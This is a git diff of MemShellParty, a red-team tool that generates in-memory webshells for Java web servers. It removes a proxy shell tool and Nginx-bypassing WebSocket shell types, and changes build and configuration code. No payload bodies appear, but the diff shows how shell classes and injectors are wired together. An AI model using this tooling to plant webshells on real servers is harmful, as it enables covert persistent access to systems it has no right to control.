# https://hub.docker.com/r/oven/bun
|
# https://hub.docker.com/r/oven/bun
|
||||||
FROM --platform=$BUILDPLATFORM oven/bun:1.3.11 AS frontend
|
FROM --platform=$BUILDPLATFORM oven/bun:1.3.4 AS frontend
|
||||||
|
|
||||||
ARG ROUTE_ROOT_PATH="/"
|
ARG ROUTE_ROOT_PATH="/"
|
||||||
ARG CONTEXT_PATH=""
|
ARG CONTEXT_PATH=""
|
||||||
@@ -25,7 +25,7 @@ COPY --from=source /usr/src/web /usr/src/web
|
|||||||
RUN bun run build
|
RUN bun run build
|
||||||
|
|
||||||
# https://hub.docker.com/_/eclipse-temurin/tags?name=17.
|
# https://hub.docker.com/_/eclipse-temurin/tags?name=17.
|
||||||
FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.17_10-jdk-noble AS backend
|
FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.15_6-jdk-noble AS backend
|
||||||
|
|
||||||
WORKDIR /usr/src
|
WORKDIR /usr/src
|
||||||
|
|
||||||
@@ -35,7 +35,7 @@ COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/res
|
|||||||
|
|
||||||
RUN ./gradlew :boot:bootjar -x test
|
RUN ./gradlew :boot:bootjar -x test
|
||||||
|
|
||||||
FROM eclipse-temurin:17.0.17_10-jre-noble
|
FROM eclipse-temurin:17.0.15_6-jre-noble
|
||||||
|
|
||||||
LABEL authors="ReaJason<[email protected]>"
|
LABEL authors="ReaJason<[email protected]>"
|
||||||
|
|
||||||
|
|||||||
@@ -25,10 +25,10 @@
|
|||||||
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
|
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
|
||||||
|
|
||||||
<p align="center">
|
<p align="center">
|
||||||
<img src="assets/normal_memshell.png" alt="normal_memshell" width="24%">
|
<img src="asserts/normal_memshell.png" alt="normal_memshell" width="24%">
|
||||||
<img src="assets/agent_memshell.png" alt="agent_memshell" width="24%">
|
<img src="asserts/agent_memshell.png" alt="agent_memshell" width="24%">
|
||||||
<img src="assets/dnslog_probe.png" alt="dnslog_probe" width="24%">
|
<img src="asserts/dnslog_probe.png" alt="dnslog_probe" width="24%">
|
||||||
<img src="assets/about_page.png" alt="about_page" width="24%">
|
<img src="asserts/about_page.png" alt="about_page" width="24%">
|
||||||
</p>
|
</p>
|
||||||
|
|
||||||
## 主要特性
|
## 主要特性
|
||||||
|
|||||||
|
Before Width: | Height: | Size: 92 KiB After Width: | Height: | Size: 92 KiB |
|
Before Width: | Height: | Size: 136 KiB After Width: | Height: | Size: 136 KiB |
|
Before Width: | Height: | Size: 236 KiB After Width: | Height: | Size: 236 KiB |
@@ -2,7 +2,7 @@ FROM python:3.12-slim
|
|||||||
|
|
||||||
WORKDIR /app
|
WORKDIR /app
|
||||||
|
|
||||||
RUN pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple/
|
RUN pip install requests
|
||||||
|
|
||||||
COPY neoreg.py .
|
COPY neoreg.py .
|
||||||
|
|
||||||
|
Before Width: | Height: | Size: 268 KiB After Width: | Height: | Size: 268 KiB |
@@ -1,4 +1,4 @@
|
|||||||
FROM eclipse-temurin:17.0.17_10-jre-noble
|
FROM eclipse-temurin:17.0.14_7-jre-noble
|
||||||
|
|
||||||
LABEL authors="ReaJason<[email protected]>"
|
LABEL authors="ReaJason<[email protected]>"
|
||||||
|
|
||||||
|
|||||||
@@ -2,10 +2,9 @@ package com.reajason.javaweb.boot.controller;
|
|||||||
|
|
||||||
import jakarta.servlet.http.HttpServletRequest;
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
import jakarta.servlet.http.HttpServletResponse;
|
import jakarta.servlet.http.HttpServletResponse;
|
||||||
import lombok.SneakyThrows;
|
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.springframework.core.io.ClassPathResource;
|
import org.springframework.core.io.ClassPathResource;
|
||||||
import org.springframework.http.ResponseEntity;
|
import org.springframework.http.MediaType;
|
||||||
import org.springframework.stereotype.Controller;
|
import org.springframework.stereotype.Controller;
|
||||||
import org.springframework.util.FileCopyUtils;
|
import org.springframework.util.FileCopyUtils;
|
||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
@@ -35,18 +34,23 @@ public class ViewController {
|
|||||||
return renderFileData(relativePath, response);
|
return renderFileData(relativePath, response);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@GetMapping({"/ui/docs/*.data", "/ui/*.data"})
|
||||||
|
@ResponseBody
|
||||||
|
public String handleDataFile(HttpServletRequest request, HttpServletResponse response) throws IOException {
|
||||||
|
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
||||||
|
String relativePath = fullPath.substring(4);
|
||||||
|
return renderFileData(relativePath, response);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
@GetMapping("/ui/**")
|
@GetMapping("/ui/**")
|
||||||
@SneakyThrows
|
public String handleHtmlView(HttpServletRequest request) {
|
||||||
public Object handleView(HttpServletRequest request, HttpServletResponse response) {
|
|
||||||
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
|
||||||
if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
|
if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
|
||||||
return "index";
|
return "index";
|
||||||
}
|
}
|
||||||
String docPath = fullPath.substring(4);
|
String viewPath = fullPath.substring(4);
|
||||||
if (docPath.endsWith(".data")) {
|
return viewPath + "/index";
|
||||||
return ResponseEntity.ok(renderFileData(docPath, response));
|
|
||||||
}
|
|
||||||
return docPath + "/index";
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private String renderFileData(String relativePath, HttpServletResponse response) {
|
private String renderFileData(String relativePath, HttpServletResponse response) {
|
||||||
@@ -57,6 +61,8 @@ public class ViewController {
|
|||||||
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
|
response.setStatus(HttpServletResponse.SC_NOT_FOUND);
|
||||||
return "File not found: " + relativePath;
|
return "File not found: " + relativePath;
|
||||||
}
|
}
|
||||||
|
response.setContentType(MediaType.TEXT_PLAIN_VALUE);
|
||||||
|
response.setCharacterEncoding("UTF-8");
|
||||||
InputStreamReader reader = new InputStreamReader(
|
InputStreamReader reader = new InputStreamReader(
|
||||||
resource.getInputStream(),
|
resource.getInputStream(),
|
||||||
StandardCharsets.UTF_8
|
StandardCharsets.UTF_8
|
||||||
|
|||||||
@@ -51,8 +51,6 @@ public class MemShellGenerateRequest {
|
|||||||
case Command -> CommandConfig.builder()
|
case Command -> CommandConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.paramName(shellToolConfig.getCommandParamName())
|
.paramName(shellToolConfig.getCommandParamName())
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
|
||||||
.template(shellToolConfig.getCommandTemplate())
|
.template(shellToolConfig.getCommandTemplate())
|
||||||
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
||||||
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
|
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
|
||||||
@@ -77,10 +75,6 @@ public class MemShellGenerateRequest {
|
|||||||
.shellClassBase64(shellToolConfig.getShellClassBase64())
|
.shellClassBase64(shellToolConfig.getShellClassBase64())
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.build();
|
.build();
|
||||||
case Proxy -> ProxyConfig.builder()
|
|
||||||
.headerName(shellToolConfig.getHeaderName())
|
|
||||||
.headerValue(shellToolConfig.getHeaderValue())
|
|
||||||
.shellClassName(shellToolConfig.shellClassName).build();
|
|
||||||
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
package com.reajason.javaweb.boot.entity;
|
package com.reajason.javaweb.boot.entity;
|
||||||
|
|
||||||
import lombok.Builder;
|
|
||||||
import lombok.Data;
|
import lombok.Data;
|
||||||
|
import lombok.Builder;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
@@ -2,7 +2,7 @@ package com.reajason.javaweb.boot.controller;
|
|||||||
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.*;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
|
|||||||
@@ -3,7 +3,7 @@ plugins {
|
|||||||
}
|
}
|
||||||
|
|
||||||
mavenPublishing {
|
mavenPublishing {
|
||||||
publishToMavenCentral(automaticRelease = true, validateDeployment = true)
|
publishToMavenCentral()
|
||||||
signAllPublications()
|
signAllPublications()
|
||||||
coordinates(
|
coordinates(
|
||||||
"io.github.reajason",
|
"io.github.reajason",
|
||||||
|
|||||||
@@ -9,16 +9,10 @@ idea {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
version = "2.6.1"
|
version = "2.4.1"
|
||||||
|
|
||||||
tasks.register("publishAllToMavenCentral") {
|
tasks.register("publishAllToMavenCentral") {
|
||||||
dependsOn(":memshell-party-common:publishToMavenCentral")
|
dependsOn(":memshell-party-common:publishToMavenCentral")
|
||||||
dependsOn(":packer:publishToMavenCentral")
|
dependsOn(":packer:publishToMavenCentral")
|
||||||
dependsOn(":generator:publishToMavenCentral")
|
dependsOn(":generator:publishToMavenCentral")
|
||||||
}
|
|
||||||
|
|
||||||
tasks.register("publishAllToMavenLocal") {
|
|
||||||
dependsOn(":memshell-party-common:publishToMavenLocal")
|
|
||||||
dependsOn(":packer:publishToMavenLocal")
|
|
||||||
dependsOn(":generator:publishToMavenLocal")
|
|
||||||
}
|
}
|
||||||
@@ -36,9 +36,9 @@ What you can learn or try from this project:
|
|||||||
4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
|
4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
|
||||||
5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
|
5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
## Key Features
|
## Key Features
|
||||||
|
|
||||||
|
|||||||
@@ -32,9 +32,7 @@ dependencies {
|
|||||||
api(libs.byte.buddy)
|
api(libs.byte.buddy)
|
||||||
implementation(libs.asm.commons)
|
implementation(libs.asm.commons)
|
||||||
implementation(libs.javax.websocket.api)
|
implementation(libs.javax.websocket.api)
|
||||||
implementation(libs.jakarta.websocket.client.api)
|
|
||||||
implementation(libs.javax.servlet.api)
|
implementation(libs.javax.servlet.api)
|
||||||
implementation(libs.jakarta.servlet.api)
|
|
||||||
implementation(libs.spring.webmvc)
|
implementation(libs.spring.webmvc)
|
||||||
implementation(libs.spring.webflux)
|
implementation(libs.spring.webflux)
|
||||||
implementation(libs.reactor.netty.core)
|
implementation(libs.reactor.netty.core)
|
||||||
|
|||||||
@@ -5,7 +5,6 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
|
|||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
|
||||||
import com.reajason.javaweb.memshell.generator.WebSocketByPassHelperGenerator;
|
|
||||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
import com.reajason.javaweb.probe.ProbeContent;
|
import com.reajason.javaweb.probe.ProbeContent;
|
||||||
import com.reajason.javaweb.probe.ProbeMethod;
|
import com.reajason.javaweb.probe.ProbeMethod;
|
||||||
@@ -64,11 +63,6 @@ public class MemShellGenerator {
|
|||||||
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
||||||
injectorConfig.setShellClassBytes(shellBytes);
|
injectorConfig.setShellClassBytes(shellBytes);
|
||||||
|
|
||||||
if (ShellType.BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())
|
|
||||||
|| ShellType.JAKARTA_BYPASS_NGINX_WEBSOCKET.equals(shellConfig.getShellType())) {
|
|
||||||
injectorConfig.setHelperClassBytes(WebSocketByPassHelperGenerator.getBytes(shellConfig, shellToolConfig));
|
|
||||||
}
|
|
||||||
|
|
||||||
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
|
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
|
||||||
byte[] injectorBytes = injectorGenerator.generate();
|
byte[] injectorBytes = injectorGenerator.generate();
|
||||||
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
|
||||||
|
|||||||
@@ -9,7 +9,6 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
|||||||
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
|
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5.*;
|
import com.reajason.javaweb.memshell.shelltool.suo5.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.suo5v2.*;
|
import com.reajason.javaweb.memshell.shelltool.suo5v2.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.wsproxy.ProxyWebSocket;
|
|
||||||
|
|
||||||
import java.util.Collections;
|
import java.util.Collections;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
@@ -61,8 +60,6 @@ public class ServerFactory {
|
|||||||
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
|
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
|
||||||
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
|
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
|
||||||
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
|
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
|
||||||
.addShellClass(BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
|
|
||||||
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
|
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
||||||
@@ -140,8 +137,6 @@ public class ServerFactory {
|
|||||||
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
|
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
|
||||||
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
||||||
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
|
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
|
||||||
.addShellClass(BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
|
|
||||||
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
|
|
||||||
.addShellClass(UPGRADE, CommandUpgrade.class)
|
.addShellClass(UPGRADE, CommandUpgrade.class)
|
||||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
|
||||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
||||||
@@ -240,13 +235,6 @@ public class ServerFactory {
|
|||||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
|
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
|
||||||
.addShellClass(ACTION, NeoreGeorgStruct2Action.class)
|
.addShellClass(ACTION, NeoreGeorgStruct2Action.class)
|
||||||
.build());
|
.build());
|
||||||
|
|
||||||
addToolMapping(ShellTool.Proxy, ToolMapping.builder()
|
|
||||||
.addShellClass(WEBSOCKET, ProxyWebSocket.class)
|
|
||||||
.addShellClass(JAKARTA_WEBSOCKET, ProxyWebSocket.class)
|
|
||||||
.addShellClass(BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
|
|
||||||
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
|
|
||||||
.build());
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void register(String serverName, Supplier<AbstractServer> shellSupplier) {
|
public static void register(String serverName, Supplier<AbstractServer> shellSupplier) {
|
||||||
|
|||||||
@@ -12,6 +12,5 @@ public class ShellTool {
|
|||||||
public static final String Suo5v2 = "Suo5v2";
|
public static final String Suo5v2 = "Suo5v2";
|
||||||
public static final String AntSword = "AntSword";
|
public static final String AntSword = "AntSword";
|
||||||
public static final String NeoreGeorg = "NeoreGeorg";
|
public static final String NeoreGeorg = "NeoreGeorg";
|
||||||
public static final String Proxy = "Proxy";
|
|
||||||
public static final String Custom = "Custom";
|
public static final String Custom = "Custom";
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -23,11 +23,10 @@ public class ShellToolFactory {
|
|||||||
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
|
register(ShellTool.Behinder, BehinderGenerator.class, BehinderConfig.class);
|
||||||
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
|
register(ShellTool.Command, CommandGenerator.class, CommandConfig.class);
|
||||||
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
|
register(ShellTool.Suo5, Suo5Generator.class, Suo5Config.class);
|
||||||
register(ShellTool.Suo5v2, Suo5V2Generator.class, Suo5Config.class);
|
register(ShellTool.Suo5v2, Suo5Generator.class, Suo5Config.class);
|
||||||
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
|
register(ShellTool.AntSword, AntSwordGenerator.class, AntSwordConfig.class);
|
||||||
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
|
register(ShellTool.NeoreGeorg, NeoreGeorgGenerator.class, NeoreGeorgConfig.class);
|
||||||
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
|
register(ShellTool.Custom, CustomShellGenerator.class, CustomConfig.class);
|
||||||
register(ShellTool.Proxy, ProxyGenerator.class, ProxyConfig.class);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
|
public static void register(String shellToolName, Class<? extends ShellGenerator> generatorClass, Class<? extends ShellToolConfig> configClass) {
|
||||||
|
|||||||
@@ -45,9 +45,7 @@ public class ShellType {
|
|||||||
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
|
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
|
||||||
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
|
public static final String SPRING_WEBFLUX_HANDLER_FUNCTION = "HandlerFunction";
|
||||||
public static final String WEBSOCKET = "WebSocket";
|
public static final String WEBSOCKET = "WebSocket";
|
||||||
public static final String BYPASS_NGINX_WEBSOCKET = "BypassNginx" + WEBSOCKET;
|
|
||||||
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
|
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
|
||||||
public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
|
|
||||||
|
|
||||||
public static final String ACTION = "Action";
|
public static final String ACTION = "Action";
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -22,18 +22,6 @@ public class CommandConfig extends ShellToolConfig {
|
|||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String paramName = CommonUtil.getRandomString(8);
|
private String paramName = CommonUtil.getRandomString(8);
|
||||||
|
|
||||||
/**
|
|
||||||
* 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰
|
|
||||||
*/
|
|
||||||
@Builder.Default
|
|
||||||
private String headerName = "User-Agent";
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 只有在 WebSocket Bypass 的时候才有用,防止对业务的干扰
|
|
||||||
*/
|
|
||||||
@Builder.Default
|
|
||||||
private String headerValue = CommonUtil.getRandomString(8);
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 加密器
|
* 加密器
|
||||||
*/
|
*/
|
||||||
@@ -60,22 +48,6 @@ public class CommandConfig extends ShellToolConfig {
|
|||||||
}
|
}
|
||||||
return self();
|
return self();
|
||||||
}
|
}
|
||||||
|
|
||||||
public B headerName(final String headerName) {
|
|
||||||
if (StringUtils.isNotBlank(headerName)) {
|
|
||||||
this.headerName$value = headerName;
|
|
||||||
headerName$set = true;
|
|
||||||
}
|
|
||||||
return self();
|
|
||||||
}
|
|
||||||
|
|
||||||
public B headerValue(final String headerValue) {
|
|
||||||
if (StringUtils.isNotBlank(headerValue)) {
|
|
||||||
this.headerValue$value = headerValue;
|
|
||||||
headerValue$set = true;
|
|
||||||
}
|
|
||||||
return self();
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -16,38 +16,37 @@ import net.bytebuddy.dynamic.DynamicType;
|
|||||||
@AllArgsConstructor
|
@AllArgsConstructor
|
||||||
@Builder(toBuilder = true)
|
@Builder(toBuilder = true)
|
||||||
public class InjectorConfig {
|
public class InjectorConfig {
|
||||||
|
/**
|
||||||
|
* 注入器 Builder
|
||||||
|
*/
|
||||||
|
DynamicType.Builder<?> injectorBuilder;
|
||||||
|
/**
|
||||||
|
* 内存马 Builder
|
||||||
|
*/
|
||||||
|
DynamicType.Builder<?> shellBuilder;
|
||||||
/**
|
/**
|
||||||
* 注入器模板类
|
* 注入器模板类
|
||||||
*/
|
*/
|
||||||
private Class<?> injectorClass;
|
private Class<?> injectorClass;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 注入器类名
|
* 注入器类名
|
||||||
*/
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String injectorClassName = CommonUtil.generateInjectorClassName();
|
private String injectorClassName = CommonUtil.generateInjectorClassName();
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 注入访问的地址
|
* 注入访问的地址
|
||||||
*/
|
*/
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String urlPattern = "/*";
|
private String urlPattern = "/*";
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 内存马类名
|
* 内存马类名
|
||||||
*/
|
*/
|
||||||
private String shellClassName;
|
private String shellClassName;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 内存马类字节
|
* 内存马类字节
|
||||||
*/
|
*/
|
||||||
private byte[] shellClassBytes;
|
private byte[] shellClassBytes;
|
||||||
|
|
||||||
/**
|
|
||||||
* 辅助类字节码
|
|
||||||
*/
|
|
||||||
private byte[] helperClassBytes;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 添加静态代码块调用构造方法初始化
|
* 添加静态代码块调用构造方法初始化
|
||||||
*/
|
*/
|
||||||
|
|||||||
@@ -1,38 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.config;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.utils.CommonUtil;
|
|
||||||
import lombok.*;
|
|
||||||
import lombok.experimental.SuperBuilder;
|
|
||||||
import org.apache.commons.lang3.StringUtils;
|
|
||||||
|
|
||||||
@Getter
|
|
||||||
@SuperBuilder
|
|
||||||
@NoArgsConstructor
|
|
||||||
@AllArgsConstructor
|
|
||||||
@ToString
|
|
||||||
public class ProxyConfig extends ShellToolConfig {
|
|
||||||
@Builder.Default
|
|
||||||
private String headerName = "User-Agent";
|
|
||||||
@Builder.Default
|
|
||||||
private String headerValue = CommonUtil.getRandomString(8);
|
|
||||||
|
|
||||||
public static abstract class ProxyConfigBuilder<C extends ProxyConfig, B extends ProxyConfig.ProxyConfigBuilder<C, B>>
|
|
||||||
extends ShellToolConfig.ShellToolConfigBuilder<C, B> {
|
|
||||||
|
|
||||||
public B headerName(final String headerName) {
|
|
||||||
if (StringUtils.isNotBlank(headerName)) {
|
|
||||||
this.headerName$value = headerName;
|
|
||||||
headerName$set = true;
|
|
||||||
}
|
|
||||||
return self();
|
|
||||||
}
|
|
||||||
|
|
||||||
public B headerValue(final String headerValue) {
|
|
||||||
if (StringUtils.isNotBlank(headerValue)) {
|
|
||||||
this.headerValue$value = headerValue;
|
|
||||||
headerValue$set = true;
|
|
||||||
}
|
|
||||||
return self();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -73,18 +73,12 @@ public class ShellConfig {
|
|||||||
@Builder.Default
|
@Builder.Default
|
||||||
private boolean lambdaSuffix = false;
|
private boolean lambdaSuffix = false;
|
||||||
|
|
||||||
/**
|
|
||||||
* 将 Java EE 转换为 Jakarta EE 类名
|
|
||||||
*/
|
|
||||||
@Builder.Default
|
|
||||||
private boolean jakarta = false;
|
|
||||||
|
|
||||||
public boolean isDebugOff() {
|
public boolean isDebugOff() {
|
||||||
return !debug;
|
return !debug;
|
||||||
}
|
}
|
||||||
|
|
||||||
public boolean isJakarta() {
|
public boolean isJakarta() {
|
||||||
return jakarta || shellType.startsWith(ShellType.JAKARTA);
|
return shellType.startsWith(ShellType.JAKARTA);
|
||||||
}
|
}
|
||||||
|
|
||||||
public boolean needByPassJavaModule() {
|
public boolean needByPassJavaModule() {
|
||||||
|
|||||||
@@ -23,10 +23,6 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
|
|||||||
|
|
||||||
protected abstract DynamicType.Builder<?> getBuilder();
|
protected abstract DynamicType.Builder<?> getBuilder();
|
||||||
|
|
||||||
protected byte[] postProcessBytes(byte[] classBytes) {
|
|
||||||
return classBytes;
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public byte[] getBytes() {
|
public byte[] getBytes() {
|
||||||
DynamicType.Builder<?> builder = getBuilder();
|
DynamicType.Builder<?> builder = getBuilder();
|
||||||
@@ -46,8 +42,7 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
|
|||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
||||||
|
|
||||||
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
|
||||||
byte[] bytes = postProcessBytes(unloaded.getBytes());
|
return ProcessorRegistry.applyByteProcessors(unloaded.getBytes(), shellConfig, shellToolConfig);
|
||||||
return ProcessorRegistry.applyByteProcessors(bytes, shellConfig, shellToolConfig);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -49,12 +49,6 @@ public class InjectorGenerator {
|
|||||||
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
|
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
|
||||||
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
|
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
|
||||||
|
|
||||||
byte[] helperClassBytes = injectorConfig.getHelperClassBytes();
|
|
||||||
if (helperClassBytes != null) {
|
|
||||||
String helperBase64 = Base64.getEncoder().encodeToString(CommonUtil.gzipCompress(helperClassBytes));
|
|
||||||
builder = builder.method(named("getHelperBase64String")).intercept(FixedValue.value(helperBase64));
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.needByPassJavaModule()) {
|
if (shellConfig.needByPassJavaModule()) {
|
||||||
builder = ByPassJavaModuleInterceptor.extend(builder);
|
builder = ByPassJavaModuleInterceptor.extend(builder);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -17,11 +17,11 @@ public final class ProcessorRegistry {
|
|||||||
